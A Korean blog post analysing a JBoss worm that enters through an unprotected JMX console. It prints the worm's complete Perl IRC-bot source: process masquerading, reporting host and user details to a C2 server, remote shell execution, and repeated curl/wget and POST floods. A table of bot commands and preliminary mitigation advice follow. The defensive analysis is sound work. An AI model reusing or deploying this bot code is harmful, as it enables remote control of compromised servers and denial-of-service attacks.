JMX 취약점을 이용한 JBoss Worm

JBoss 의 JMX 취약점을 이용한 Worm 이 최근들어 곳곳에서 보이고 있습니다. 그에 따른 예방책과 해결책을 찾기위해 분석을 시작합니다.

JBoss Worm 분석

현재 알려진 worm 은 perl 스크립트를 이용하여 JMX console 을 호출하는 방식을 사용하고 있습니다.

관련 소스 보기

.syssync.pl

<br/> #!/usr/bin/perl<br/>###############################<br/>use IO::Socket::INET;<br/>###############################<br/>my $processo = "/usr/local/apache/bin/httpd -DSSL";<br/>my $pid=fork;<br/>exit if $pid;<br/>$0="$processo"." "x16;<br/>###############################<br/># Server Config<br/>###############################<br/>my @sops =("xxx.xxx.xxx.xxx");<br/>my $port=9000;<br/>my $chan="#newhk";<br/>my $boxing = `uname -a`;<br/>$user = `whoami`;<br/>$boxing =~ s/\r//g;<br/>$boxing =~ s/\n//g;<br/>$boxing =~ s/ //g;<br/>$boxing =~ s/\s//g;<br/>$user =~ s/\r//g;<br/>$user =~ s/\n//g;<br/>$user =~ s/ //g;<br/>$user =~ s/\s//g;<br/>#########################<br/># Config # <br/>#########################<br/><br/>while(1) {<br/>my $nick="srv[".int(rand(9999999))."]";<br/>retry:<br/>close($sk);<br/><br/>my $server = "";<br/>while(length($server)<10) {<br/>$server = $sops[int(rand(9))];<br/>}<br/>sleep(3);<br/>my $sk = IO::Socket::INET->new(PeerAddr=>$server,PeerPort=>$port,Proto=>"tcp") or goto retry;<br/>$sk->autoflush(1);<br/>print $sk "POST /index.php HTTP/1.1\r\nHost: $server:$port\r\nUser-Agent: Mozilla/5.0\r\nContent-Length: 385256291721361\r\n\r\nfile1=MZ%90%0a%0d\r\n";<br/>print $sk "NICK $nick\r\n";<br/>print $sk "USER ".$user." 8 * : ".$user."\r\n";<br/><br/>while($line = <$sk>){<br/><br/>$line =~ s/\r\n$//;<br/>if ($line=~ /^PING \:(.*)/)<br/>{<br/>print $sk "PONG :$1\r\n";<br/>}<br/><br/>if($line =~ /welcome\sto/i) {<br/>sleep(2);<br/>print $sk "JOIN $chan\r\n";<br/>sleep(1);<br/>print $sk "PRIVMSG $chan :UserName=$boxing\r\n";<br/>}<br/><br/>######################<br/># Commands # <br/># #<br/>######################<br/><br/>### !die<br/>if ($line=~ /PRIVMSG (.*) :.die/){<br/>$owner=$line;<br/>if($owner=~/iseee/gi) {<br/>sendsk($sk, "QUIT");<br/>die;<br/>}<br/>}<br/>### end of !die<br/><br/>### !rsh<br/>if ($line =~ /PRIVMSG (.*) :.rsh\s"(.*)"/){<br/>$owner=$line;<br/>$de=$2;<br/>if($owner=~/iseee/gi) {<br/>@shell=`$de`;<br/>foreach $line (@shell) { <br/>sendsk($sk, "PRIVMSG iseee :$line\r\n");<br/>sleep(1);<br/>}<br/>}<br/>}<br/>### end of !rsh<br/><br/><br/>### !get "[url]" "[times]"<br/>if ($line=~ /PRIVMSG (.*) :.get\s"(.*)"\s"(.*)"/){<br/>$owner=$line;<br/>$url=$2;<br/>$mult=$3;<br/>if($owner=~/iseee/gi) {<br/>$url=~/http:\/\/(.*)\/(.*)/g;<br/><br/>for($xz=0;$xz<=$mult;$xz++) {<br/>system("curl ".$url.">/dev/null&");<br/>`curl "$url">/dev/null&`;<br/>system("wget ".$url.">/dev/null&");<br/>`wget "$url">/dev/null&`;<br/>system("wget $url>/dev/null&");<br/><br/>}<br/>sendsk($sk, "PRIVMSG iseee :Got $host/$path - $mult times\r\n");<br/>}<br/>}<br/>### End of !get<br/><br/><br/>### !post "[url]" "[data]"<br/>if ($line=~ /PRIVMSG (.*) :.post\s"(.*)"\s"(.*)"/){<br/>$owner=$line;<br/>$url=$2;<br/>$ddata=$3;<br/>if($owner=~/iseee/gi) {<br/>$url=~/http:\/\/(.*)\/(.*)/g;<br/>$host=$1;<br/>$path=$2;<br/><br/><br/>my $sck=new IO::Socket::INET(PeerAddr=>$host, PeerPort=>80);<br/>print $sck "POST /$path HTTP/1.0\r\n".<br/> "Host: $host\r\n".<br/> "Connection: close\r\n".<br/> "Content-Length: ".length($ddata)."\r\n\r\n".$ddata;<br/>sleep(1);<br/>close($sck);<br/><br/>sendsk($sk, "PRIVMSG (.*) :Posted $host/$path - $mult\r\n");<br/>}<br/>}<br/>### End of !post<br/><br/><br/>######################<br/># End of Commands # <br/># #<br/>######################<br/><br/>}<br/><br/>}<br/><br/><br/>sub sendsk() {<br/>if ($#_ == '1') { my $sk = $_[0]; print $sk "$_[1]\n"; } <br/>else { print $sk "$_[0]\n"; }<br/>}<br/>

해당 perl 스크립트가 실행되면, IRC 서버에 접속하게 되어 닉네임이 "iseee" 인 사용자의 명령에 따라 작업을 수행하게 됩니다.

Worm 수행 작업

해당 worm 은 다음과 같이 4가지 작업을 수행합니다.

작업	IRC 메시지	처리 결과
종료	PRIVMSG iseee :.die	perl 스크립트 종료
명령어 실행	PRIVMSG iseee :.rsh " [명령어] "	해당 명령어를 수행
다운로드	PRIVMSG iseee :.get " [url] " " [반복횟수] "	해당 url 을 반복횟수 만큼 다운로드
POST 연결	PRIVMSG iseee :.post " [url] " " [데이터] "	해당 url 에 데이터를 포함하여 POST 연결 요청

예방책 및 해결책 (확인 중...)

최초에 jmx-console 의 취약점으로 인해 들어오기 때문에 jmx-console 인증 설정이 우선 시 되어야 합니다. jmx-console 을 막았음에도 계속해서 perl 스크립트가 재생되는 것으로 보아 별도의 숙주가 있을 것으로 예상됩니다.


추후, 새로 알게 되는 정보가 있으면 공유하도록 하겠습니다.